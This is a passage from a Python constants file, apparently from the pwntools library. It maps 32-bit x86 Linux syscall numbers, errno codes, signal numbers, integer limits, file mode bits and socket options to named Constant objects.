Constant('__NR_pwritev',334)\n__NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',335)\n__NR_perf_event_open = Constant('__NR_perf_event_open',336)\n__NR_recvmmsg = Constant('__NR_recvmmsg',337)\n__NR_fanotify_init = Constant('__NR_fanotify_init',338)\n__NR_fanotify_mark = Constant('__NR_fanotify_mark',339)\n__NR_prlimit64 = Constant('__NR_prlimit64',340)\n__NR_name_to_handle_at = Constant('__NR_name_to_handle_at',341)\n__NR_open_by_handle_at = Constant('__NR_open_by_handle_at',342)\n__NR_clock_adjtime = Constant('__NR_clock_adjtime',343)\n__NR_syncfs = Constant('__NR_syncfs',344)\n__NR_sendmmsg = Constant('__NR_sendmmsg',345)\n__NR_setns = Constant('__NR_setns',346)\n__NR_process_vm_readv = Constant('__NR_process_vm_readv',347)\n__NR_process_vm_writev = Constant('__NR_process_vm_writev',348)\n__NR_kcmp = Constant('__NR_kcmp',349)\n__NR_finit_module = Constant('__NR_finit_module',350)\n__NR_sched_setattr = Constant('__NR_sched_setattr',351)\n__NR_sched_getattr = Constant('__NR_sched_getattr',352)\n__NR_renameat2 = Constant('__NR_renameat2',353)\n__NR_seccomp = Constant('__NR_seccomp',354)\n__NR_getrandom = Constant('__NR_getrandom',355)\n__NR_memfd_create = Constant('__NR_memfd_create',356)\n__NR_bpf = Constant('__NR_bpf',357)\n__NR_execveat = Constant('__NR_execveat',358)\n__NR_socket = Constant('__NR_socket',359)\n__NR_socketpair = Constant('__NR_socketpair',360)\n__NR_bind = Constant('__NR_bind',361)\n__NR_connect = Constant('__NR_connect',362)\n__NR_listen = Constant('__NR_listen',363)\n__NR_accept4 = Constant('__NR_accept4',364)\n__NR_getsockopt = Constant('__NR_getsockopt',365)\n__NR_setsockopt = Constant('__NR_setsockopt',366)\n__NR_getsockname = Constant('__NR_getsockname',367)\n__NR_getpeername = Constant('__NR_getpeername',368)\n__NR_sendto = Constant('__NR_sendto',369)\n__NR_sendmsg = Constant('__NR_sendmsg',370)\n__NR_recvfrom = Constant('__NR_recvfrom',371)\n__NR_recvmsg = Constant('__NR_recvmsg',372)\n__NR_shutdown = Constant('__NR_shutdown',373)\n__NR_userfaultfd = Constant('__NR_userfaultfd',374)\n__NR_membarrier = Constant('__NR_membarrier',375)\n__NR_mlock2 = Constant('__NR_mlock2',376)\n__NR_copy_file_range = Constant('__NR_copy_file_range',377)\n__NR_preadv2 = Constant('__NR_preadv2',378)\n__NR_pwritev2 = Constant('__NR_pwritev2',379)\n__NR_pkey_mprotect = Constant('__NR_pkey_mprotect',380)\n__NR_pkey_alloc = Constant('__NR_pkey_alloc',381)\n__NR_pkey_free = Constant('__NR_pkey_free',382)\n__NR_ia32_statx = Constant('__NR_ia32_statx',383)\n__NR_ia32_arch_prctl = Constant('__NR_ia32_arch_prctl',384)\n__NR_ia32_io_pgetevents = Constant('__NR_ia32_io_pgetevents',385)\n__NR_ia32_rseq = Constant('__NR_ia32_rseq',386)\n__NR_semget = Constant('__NR_semget',393)\n__NR_semctl = Constant('__NR_semctl',394)\n__NR_shmget = Constant('__NR_shmget',395)\n__NR_shmctl = Constant('__NR_shmctl',396)\n__NR_shmat = Constant('__NR_shmat',397)\n__NR_shmdt = Constant('__NR_shmdt',398)\n__NR_msgget = Constant('__NR_msgget',399)\n__NR_msgsnd = Constant('__NR_msgsnd',400)\n__NR_msgrcv = Constant('__NR_msgrcv',401)\n__NR_msgctl = Constant('__NR_msgctl',402)\n__NR_clock_gettime64 = Constant('__NR_clock_gettime64',403)\n__NR_clock_settime64 = Constant('__NR_clock_settime64',404)\n__NR_clock_adjtime64 = Constant('__NR_clock_adjtime64',405)\n__NR_clock_getres_time64 = Constant('__NR_clock_getres_time64',406)\n__NR_clock_nanosleep_time64 = Constant('__NR_clock_nanosleep_time64',407)\n__NR_timer_gettime64 = Constant('__NR_timer_gettime64',408)\n__NR_timer_settime64 = Constant('__NR_timer_settime64',409)\n__NR_timerfd_gettime64 = Constant('__NR_timerfd_gettime64',410)\n__NR_timerfd_settime64 = Constant('__NR_timerfd_settime64',411)\n__NR_utimensat_time64 = Constant('__NR_utimensat_time64',412)\n__NR_pselect6_time64 = Constant('__NR_pselect6_time64',413)\n__NR_ppoll_time64 = Constant('__NR_ppoll_time64',414)\n__NR_io_pgetevents_time64 = Constant('__NR_io_pgetevents_time64',416)\n__NR_recvmmsg_time64 = Constant('__NR_recvmmsg_time64',417)\n__NR_mq_timedsend_time64 = Constant('__NR_mq_timedsend_time64',418)\n__NR_mq_timedreceive_time64 = Constant('__NR_mq_timedreceive_time64',419)\n__NR_semtimedop_time64 = Constant('__NR_semtimedop_time64',420)\n__NR_rt_sigtimedwait_time64 = Constant('__NR_rt_sigtimedwait_time64',421)\n__NR_futex_time64 = Constant('__NR_futex_time64',422)\n__NR_sched_rr_get_interval_time64 = Constant('__NR_sched_rr_get_interval_time64',423)\n__NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',424)\n__NR_io_uring_setup = Constant('__NR_io_uring_setup',425)\n__NR_io_uring_enter = Constant('__NR_io_uring_enter',426)\n__NR_io_uring_register = Constant('__NR_io_uring_register',427)\n__NR_open_tree = Constant('__NR_open_tree',428)\n__NR_move_mount = Constant('__NR_move_mount',429)\n__NR_fsopen = Constant('__NR_fsopen',430)\n__NR_fsconfig = Constant('__NR_fsconfig',431)\n__NR_fsmount = Constant('__NR_fsmount',432)\n__NR_fspick = Constant('__NR_fspick',433)\n__NR_pidfd_open = Constant('__NR_pidfd_open',434)\n__NR_clone3 = Constant('__NR_clone3',435)\n__NR_openat2 = Constant('__NR_openat2',437)\n__NR_pidfd_getfd = Constant('__NR_pidfd_getfd',438)\nSYS_SOCKET = Constant('SYS_SOCKET',1)\nSYS_BIND = Constant('SYS_BIND',2)\nSYS_CONNECT = Constant('SYS_CONNECT',3)\nSYS_LISTEN = Constant('SYS_LISTEN',4)\nSYS_ACCEPT = Constant('SYS_ACCEPT',5)\nSYS_GETSOCKNAME = Constant('SYS_GETSOCKNAME',6)\nSYS_GETPEERNAME = Constant('SYS_GETPEERNAME',7)\nSYS_SOCKETPAIR = Constant('SYS_SOCKETPAIR',8)\nSYS_SEND = Constant('SYS_SEND',9)\nSYS_RECV = Constant('SYS_RECV',10)\nSYS_SENDTO = Constant('SYS_SENDTO',11)\nSYS_RECVFROM = Constant('SYS_RECVFROM',12)\nSYS_SHUTDOWN = Constant('SYS_SHUTDOWN',13)\nSYS_SETSOCKOPT = Constant('SYS_SETSOCKOPT',14)\nSYS_GETSOCKOPT = Constant('SYS_GETSOCKOPT',15)\nSYS_SENDMSG = Constant('SYS_SENDMSG',16)\nSYS_RECVMSG = Constant('SYS_RECVMSG',17)\nMAP_32BIT = Constant('MAP_32BIT',0x40)\nINADDR_ANY = Constant('INADDR_ANY',0)\nINADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff)\nINADDR_NONE = Constant('INADDR_NONE',0xffffffff)\nINADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001)\nEPERM = Constant('EPERM',1)\nENOENT = Constant('ENOENT',2)\nESRCH = Constant('ESRCH',3)\nEINTR = Constant('EINTR',4)\nEIO = Constant('EIO',5)\nENXIO = Constant('ENXIO',6)\nE2BIG = Constant('E2BIG',7)\nENOEXEC = Constant('ENOEXEC',8)\nEBADF = Constant('EBADF',9)\nECHILD = Constant('ECHILD',10)\nEAGAIN = Constant('EAGAIN',11)\nENOMEM = Constant('ENOMEM',12)\nEACCES = Constant('EACCES',13)\nEFAULT = Constant('EFAULT',14)\nENOTBLK = Constant('ENOTBLK',15)\nEBUSY = Constant('EBUSY',16)\nEEXIST = Constant('EEXIST',17)\nEXDEV = Constant('EXDEV',18)\nENODEV = Constant('ENODEV',19)\nENOTDIR = Constant('ENOTDIR',20)\nEISDIR = Constant('EISDIR',21)\nEINVAL = Constant('EINVAL',22)\nENFILE = Constant('ENFILE',23)\nEMFILE = Constant('EMFILE',24)\nENOTTY = Constant('ENOTTY',25)\nETXTBSY = Constant('ETXTBSY',26)\nEFBIG = Constant('EFBIG',27)\nENOSPC = Constant('ENOSPC',28)\nESPIPE = Constant('ESPIPE',29)\nEROFS = Constant('EROFS',30)\nEMLINK = Constant('EMLINK',31)\nEPIPE = Constant('EPIPE',32)\nEDOM = Constant('EDOM',33)\nERANGE = Constant('ERANGE',34)\nEDEADLK = Constant('EDEADLK',35)\nENAMETOOLONG = Constant('ENAMETOOLONG',36)\nENOLCK = Constant('ENOLCK',37)\nENOSYS = Constant('ENOSYS',38)\nENOTEMPTY = Constant('ENOTEMPTY',39)\nELOOP = Constant('ELOOP',40)\nEWOULDBLOCK = Constant('EWOULDBLOCK',11)\nENOMSG = Constant('ENOMSG',42)\nEIDRM = Constant('EIDRM',43)\nECHRNG = Constant('ECHRNG',44)\nEL2NSYNC = Constant('EL2NSYNC',45)\nEL3HLT = Constant('EL3HLT',46)\nEL3RST = Constant('EL3RST',47)\nELNRNG = Constant('ELNRNG',48)\nEUNATCH = Constant('EUNATCH',49)\nENOCSI = Constant('ENOCSI',50)\nEL2HLT = Constant('EL2HLT',51)\nEBADE = Constant('EBADE',52)\nEBADR = Constant('EBADR',53)\nEXFULL = Constant('EXFULL',54)\nENOANO = Constant('ENOANO',55)\nEBADRQC = Constant('EBADRQC',56)\nEBADSLT = Constant('EBADSLT',57)\nEDEADLOCK = Constant('EDEADLOCK',35)\nEBFONT = Constant('EBFONT',59)\nENOSTR = Constant('ENOSTR',60)\nENODATA = Constant('ENODATA',61)\nETIME = Constant('ETIME',62)\nENOSR = Constant('ENOSR',63)\nENONET = Constant('ENONET',64)\nENOPKG = Constant('ENOPKG',65)\nEREMOTE = Constant('EREMOTE',66)\nENOLINK = Constant('ENOLINK',67)\nEADV = Constant('EADV',68)\nESRMNT = Constant('ESRMNT',69)\nECOMM = Constant('ECOMM',70)\nEPROTO = Constant('EPROTO',71)\nEMULTIHOP = Constant('EMULTIHOP',72)\nEDOTDOT = Constant('EDOTDOT',73)\nEBADMSG = Constant('EBADMSG',74)\nEOVERFLOW = Constant('EOVERFLOW',75)\nENOTUNIQ = Constant('ENOTUNIQ',76)\nEBADFD = Constant('EBADFD',77)\nEREMCHG = Constant('EREMCHG',78)\nELIBACC = Constant('ELIBACC',79)\nELIBBAD = Constant('ELIBBAD',80)\nELIBSCN = Constant('ELIBSCN',81)\nELIBMAX = Constant('ELIBMAX',82)\nELIBEXEC = Constant('ELIBEXEC',83)\nEILSEQ = Constant('EILSEQ',84)\nERESTART = Constant('ERESTART',85)\nESTRPIPE = Constant('ESTRPIPE',86)\nEUSERS = Constant('EUSERS',87)\nENOTSOCK = Constant('ENOTSOCK',88)\nEDESTADDRREQ = Constant('EDESTADDRREQ',89)\nEMSGSIZE = Constant('EMSGSIZE',90)\nEPROTOTYPE = Constant('EPROTOTYPE',91)\nENOPROTOOPT = Constant('ENOPROTOOPT',92)\nEPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93)\nESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94)\nEOPNOTSUPP = Constant('EOPNOTSUPP',95)\nENOTSUP = Constant('ENOTSUP',95)\nEPFNOSUPPORT = Constant('EPFNOSUPPORT',96)\nEAFNOSUPPORT = Constant('EAFNOSUPPORT',97)\nEADDRINUSE = Constant('EADDRINUSE',98)\nEADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99)\nENETDOWN = Constant('ENETDOWN',100)\nENETUNREACH = Constant('ENETUNREACH',101)\nENETRESET = Constant('ENETRESET',102)\nECONNABORTED = Constant('ECONNABORTED',103)\nECONNRESET = Constant('ECONNRESET',104)\nENOBUFS = Constant('ENOBUFS',105)\nEISCONN = Constant('EISCONN',106)\nENOTCONN = Constant('ENOTCONN',107)\nESHUTDOWN = Constant('ESHUTDOWN',108)\nETOOMANYREFS = Constant('ETOOMANYREFS',109)\nETIMEDOUT = Constant('ETIMEDOUT',110)\nECONNREFUSED = Constant('ECONNREFUSED',111)\nEHOSTDOWN = Constant('EHOSTDOWN',112)\nEHOSTUNREACH = Constant('EHOSTUNREACH',113)\nEALREADY = Constant('EALREADY',114)\nEINPROGRESS = Constant('EINPROGRESS',115)\nESTALE = Constant('ESTALE',116)\nEUCLEAN = Constant('EUCLEAN',117)\nENOTNAM = Constant('ENOTNAM',118)\nENAVAIL = Constant('ENAVAIL',119)\nEISNAM = Constant('EISNAM',120)\nEREMOTEIO = Constant('EREMOTEIO',121)\nEDQUOT = Constant('EDQUOT',122)\nENOMEDIUM = Constant('ENOMEDIUM',123)\nEMEDIUMTYPE = Constant('EMEDIUMTYPE',124)\nECANCELED = Constant('ECANCELED',125)\nENOKEY = Constant('ENOKEY',126)\nEKEYEXPIRED = Constant('EKEYEXPIRED',127)\nEKEYREVOKED = Constant('EKEYREVOKED',128)\nEKEYREJECTED = Constant('EKEYREJECTED',129)\nEOWNERDEAD = Constant('EOWNERDEAD',130)\nENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131)\nERFKILL = Constant('ERFKILL',132)\nEHWPOISON = Constant('EHWPOISON',133)\n__SYS_NERR = Constant('__SYS_NERR',((133) + 1))\n__LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234)\n__BIG_ENDIAN = Constant('__BIG_ENDIAN',4321)\n__BYTE_ORDER = Constant('__BYTE_ORDER',1234)\n__FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',1234)\nLITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234)\nBIG_ENDIAN = Constant('BIG_ENDIAN',4321)\nBYTE_ORDER = Constant('BYTE_ORDER',1234)\n__WORDSIZE = Constant('__WORDSIZE',32)\n__UNALIGNED_MEMORY_ACCESS_OK = Constant('__UNALIGNED_MEMORY_ACCESS_OK',1)\nINT8_MAX = Constant('INT8_MAX',(127))\nINT16_MAX = Constant('INT16_MAX',(32767))\nINT32_MAX = Constant('INT32_MAX',(2147483647))\nINT64_MAX = Constant('INT64_MAX',(9223372036854775807))\nINT8_MIN = Constant('INT8_MIN',(-1 - (127)))\nINT16_MIN = Constant('INT16_MIN',(-1 - (32767)))\nINT32_MIN = Constant('INT32_MIN',(-1 - (2147483647)))\nINT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807)))\nINT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127))\nINT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127)))\nINT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767))\nINT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767)))\nINT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647))\nINT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647)))\nINT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807))\nINT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807)))\nUINT8_MAX = Constant('UINT8_MAX',0xff)\nUINT16_MAX = Constant('UINT16_MAX',0xffff)\nUINT32_MAX = Constant('UINT32_MAX',0xffffffff)\nUINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff)\nUINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff)\nUINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff)\nUINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff)\nUINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff)\nINTPTR_MIN = Constant('INTPTR_MIN',(-1 - (2147483647)))\nINTPTR_MAX = Constant('INTPTR_MAX',(2147483647))\nUINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffff)\nSIZE_MAX = Constant('SIZE_MAX',0xffffffff)\nPTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (2147483647)))\nPTRDIFF_MAX = Constant('PTRDIFF_MAX',(2147483647))\nINTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807)))\nINTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807))\nUINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff)\nINT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127)))\nINT_FAST8_MAX = Constant('INT_FAST8_MAX',(127))\nINT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807)))\nINT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807))\nUINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff)\nUINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff)\nINT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (2147483647)))\nINT_FAST16_MAX = Constant('INT_FAST16_MAX',(2147483647))\nUINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffff)\nINT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (2147483647)))\nINT_FAST32_MAX = Constant('INT_FAST32_MAX',(2147483647))\nUINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffff)\nWINT_MIN = Constant('WINT_MIN',0)\n__FSUID_H = Constant('__FSUID_H',1)\nNSIG = Constant('NSIG',32)\n_NSIG = Constant('_NSIG',65)\nSIGHUP = Constant('SIGHUP',1)\nSIGINT = Constant('SIGINT',2)\nSIGQUIT = Constant('SIGQUIT',3)\nSIGILL = Constant('SIGILL',4)\nSIGTRAP = Constant('SIGTRAP',5)\nSIGABRT = Constant('SIGABRT',6)\nSIGIOT = Constant('SIGIOT',6)\nSIGFPE = Constant('SIGFPE',8)\nSIGKILL = Constant('SIGKILL',9)\nSIGSEGV = Constant('SIGSEGV',11)\nSIGPIPE = Constant('SIGPIPE',13)\nSIGALRM = Constant('SIGALRM',14)\nSIGTERM = Constant('SIGTERM',15)\nSIGUNUSED = Constant('SIGUNUSED',31)\nSIGBUS = Constant('SIGBUS',7)\nSIGUSR1 = Constant('SIGUSR1',10)\nSIGUSR2 = Constant('SIGUSR2',12)\nSIGSTKFLT = Constant('SIGSTKFLT',16)\nSIGCHLD = Constant('SIGCHLD',17)\nSIGCONT = Constant('SIGCONT',18)\nSIGSTOP = Constant('SIGSTOP',19)\nSIGTSTP = Constant('SIGTSTP',20)\nSIGTTIN = Constant('SIGTTIN',21)\nSIGTTOU = Constant('SIGTTOU',22)\nSIGURG = Constant('SIGURG',23)\nSIGXCPU = Constant('SIGXCPU',24)\nSIGXFSZ = Constant('SIGXFSZ',25)\nSIGVTALRM = Constant('SIGVTALRM',26)\nSIGPROF = Constant('SIGPROF',27)\nSIGWINCH = Constant('SIGWINCH',28)\nSIGIO = Constant('SIGIO',29)\nSIGPWR = Constant('SIGPWR',30)\nSIGSYS = Constant('SIGSYS',31)\nSIGCLD = Constant('SIGCLD',17)\nSIGPOLL = Constant('SIGPOLL',29)\nSIGLOST = Constant('SIGLOST',30)\nSIGRTMIN = Constant('SIGRTMIN',32)\nSIGRTMAX = Constant('SIGRTMAX',(65-1))\nSA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001)\nSA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002)\nSA_SIGINFO = Constant('SA_SIGINFO',0x00000004)\nSA_RESTORER = Constant('SA_RESTORER',0x04000000)\nSA_ONSTACK = Constant('SA_ONSTACK',0x08000000)\nSA_RESTART = Constant('SA_RESTART',0x10000000)\nSA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000)\nSA_NODEFER = Constant('SA_NODEFER',0x40000000)\nSA_RESETHAND = Constant('SA_RESETHAND',0x80000000)\nSA_NOMASK = Constant('SA_NOMASK',0x40000000)\nSA_ONESHOT = Constant('SA_ONESHOT',0x80000000)\nSS_ONSTACK = Constant('SS_ONSTACK',1)\nSS_DISABLE = Constant('SS_DISABLE',2)\nMINSIGSTKSZ = Constant('MINSIGSTKSZ',2048)\nSIGSTKSZ = Constant('SIGSTKSZ',8192)\nSIG_BLOCK = Constant('SIG_BLOCK',0)\nSIG_UNBLOCK = Constant('SIG_UNBLOCK',1)\nSIG_SETMASK = Constant('SIG_SETMASK',2)\nSI_MAX_SIZE = Constant('SI_MAX_SIZE',128)\nSIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0)\nSIGEV_NONE = Constant('SIGEV_NONE',1)\nSIGEV_THREAD = Constant('SIGEV_THREAD',2)\nSIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4)\nSIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64)\n_SYS_TIME_H = Constant('_SYS_TIME_H',1)\nITIMER_REAL = Constant('ITIMER_REAL',0)\nITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1)\nITIMER_PROF = Constant('ITIMER_PROF',2)\nX86_FXSR_MAGIC = Constant('X86_FXSR_MAGIC',0x0000)\nFD_SETSIZE = Constant('FD_SETSIZE',1024)\nR_OK = Constant('R_OK',4)\nW_OK = Constant('W_OK',2)\nX_OK = Constant('X_OK',1)\nF_OK = Constant('F_OK',0)\nSEEK_SET = Constant('SEEK_SET',0)\nSEEK_CUR = Constant('SEEK_CUR',1)\nSEEK_END = Constant('SEEK_END',2)\nSTDIN_FILENO = Constant('STDIN_FILENO',0)\nSTDOUT_FILENO = Constant('STDOUT_FILENO',1)\nSTDERR_FILENO = Constant('STDERR_FILENO',2)\n_CS_PATH = Constant('_CS_PATH',1)\n_SC_CLK_TCK = Constant('_SC_CLK_TCK',1)\n_SC_ARG_MAX = Constant('_SC_ARG_MAX',2)\n_SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3)\n_SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4)\n_SC_PAGESIZE = Constant('_SC_PAGESIZE',5)\n_SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6)\n_SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6)\n_SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7)\n_SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8)\n_SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9)\n_PC_PATH_MAX = Constant('_PC_PATH_MAX',1)\n_PC_VDISABLE = Constant('_PC_VDISABLE',2)\nL_cuserid = Constant('L_cuserid',17)\n_POSIX_VERSION = Constant('_POSIX_VERSION',199506)\nF_ULOCK = Constant('F_ULOCK',0)\nF_LOCK = Constant('F_LOCK',1)\nF_TLOCK = Constant('F_TLOCK',2)\nF_TEST = Constant('F_TEST',3)\n_POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809)\nSTAT64_HAS_BROKEN_ST_INO = Constant('STAT64_HAS_BROKEN_ST_INO',1)\nS_IFMT = Constant('S_IFMT',0o0170000)\nS_IFSOCK = Constant('S_IFSOCK',0o140000)\nS_IFLNK = Constant('S_IFLNK',0o120000)\nS_IFREG = Constant('S_IFREG',0o100000)\nS_IFBLK = Constant('S_IFBLK',0o060000)\nS_IFDIR = Constant('S_IFDIR',0o040000)\nS_IFCHR = Constant('S_IFCHR',0o020000)\nS_IFIFO = Constant('S_IFIFO',0o010000)\nS_ISUID = Constant('S_ISUID',0o004000)\nS_ISGID = Constant('S_ISGID',0o002000)\nS_ISVTX = Constant('S_ISVTX',0o001000)\nS_IRWXU = Constant('S_IRWXU',0o0700)\nS_IRUSR = Constant('S_IRUSR',0o0400)\nS_IWUSR = Constant('S_IWUSR',0o0200)\nS_IXUSR = Constant('S_IXUSR',0o0100)\nS_IRWXG = Constant('S_IRWXG',0o0070)\nS_IRGRP = Constant('S_IRGRP',0o0040)\nS_IWGRP = Constant('S_IWGRP',0o0020)\nS_IXGRP = Constant('S_IXGRP',0o0010)\nS_IRWXO = Constant('S_IRWXO',0o0007)\nS_IROTH = Constant('S_IROTH',0o0004)\nS_IWOTH = Constant('S_IWOTH',0o0002)\nS_IXOTH = Constant('S_IXOTH',0o0001)\nS_IREAD = Constant('S_IREAD',0o0400)\nS_IWRITE = Constant('S_IWRITE',0o0200)\nS_IEXEC = Constant('S_IEXEC',0o0100)\n_SYS_UIO = Constant('_SYS_UIO',1)\nSOL_SOCKET = Constant('SOL_SOCKET',1)\nSO_DEBUG = Constant('SO_DEBUG',1)\nSO_REUSEADDR = Constant('SO_REUSEADDR',2)\nSO_TYPE = Constant('SO_TYPE',3)\nSO_ERROR = Constant('SO_ERROR',4)\nSO_DONTROUTE = Constant('SO_DONTROUTE',5)\nSO_BROADCAST = Constant('SO_BROADCAST',6)\nSO_SNDBUF = Constant('SO_SNDBUF',7)\nSO_RCVBUF = Constant('SO_RCVBUF',8)\nSO_KEEPALIVE = Constant('SO_KEEPALIVE',9)\nSO_OOBINLINE = Constant('SO_OOBINLINE',10)\nSO_NO_CHECK = Constant('SO_NO_CHECK',11)\nSO_PRIORITY = Constant('SO_PRIORITY',12)\nSO_LINGER = Constant('SO_LINGER',13)\nSO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14)\nSO_REUSEPORT = Constant('SO_REUSEPORT',15)\nSO_PASSCRED = Constant('SO_PASSCRED',16)\nSO_PEERCRED = Constant('SO_PEERCRED',17)\nSO_RCVLOWAT = Constant('SO_RCVLOWAT',18)\nSO_SNDLOWAT = Constant('SO_SNDLOWAT',19)\nSO_RCVTIMEO = Constant('SO_RCVTIMEO',20)\nSO_SNDTIMEO = Constant('SO_SNDTIMEO',21)\nSO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22)\nSO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23)\nSO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24)\nSO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25)\nSO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26)\nSO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27)\nSO_GET_FILTER = Constant('SO_GET_FILTER',26)\nSO_PEERNAME = Constant('SO_PEERNAME',28)\nSO_TIMESTAMP = Constant('SO_TIMESTAMP',29)\nSCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29)\nSO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30)\nSO_PEERSEC = Constant('SO_PEERSEC',31)\nSO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32)\nSO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33)\nSO_PASSSEC = Constant('SO_PASSSEC',34)\nSO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35)\nSCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35)\nSO_MARK = Constant('SO_MARK',36)\nSO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37)\nSCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37)\nSO_PROTOCOL = Constant('SO_PROTOCOL',38)\nSO_DOMAIN = Constant('SO_DOMAIN',39)\nSO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40)\nSO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41)\nSCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41)\nSO_PEEK_OFF = Constant('SO_PEEK_OFF',42)\nSO_NOFCS = Constant('SO_NOFCS',43)\nSO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44)\nSO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45)\nSO_BUSY_POLL = Constant('SO_BUSY_POLL',46)\nSO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47)\nSO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48)\nSO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49)\nSO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50)\nSO_DETACH_BPF = Constant('SO_DETACH_BPF',27)\nSO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51)\nSO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52)\nSO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53)\nSCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54)\nSO_MEMINFO = Constant('SO_MEMINFO',55)\nSO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56)\nSO_COOKIE = Constant('SO_COOKIE',57)\nSCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58)\nSO_PEERGROUPS = Constant('SO_PEERGROUPS',59)\nSO_ZEROCOPY = Constant('SO_ZEROCOPY',60)\nSOCK_STREAM = Constant('SOCK_STREAM',1)\nSOCK_DGRAM = Constant('SOCK_DGRAM',2)\nSOCK_RAW = Constant('SOCK_RAW',3)\nSOCK_RDM = Constant('SOCK_RDM',4)\nSOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5)\nSOCK_DCCP = Constant('SOCK_DCCP',6)\nSOCK_PACKET = Constant('SOCK_PACKET',10)\nUIO_FASTIOV = Constant('UIO_FASTIOV',8)\nUIO_MAXIOV = Constant('UIO_MAXIOV',1024)\nSCM_RIGHTS = Constant('SCM_RIGHTS',0x01)\nSCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02)\nSCM_CONNECT = Constant('SCM_CONNECT',0x03)\nAF_UNSPEC = Constant('AF_UNSPEC',0)\nAF_UNIX = Constant('AF_UNIX',1)\nAF_LOCAL = Constant('AF_LOCAL',1)\nAF_INET = Constant('AF_INET',2)\nAF_AX25 = Constant('AF_AX25',3)\nAF_IPX = Constant('AF_IPX',4)\nAF_APPLETALK = Constant('AF_APPLETALK',5)\nAF_NETROM = 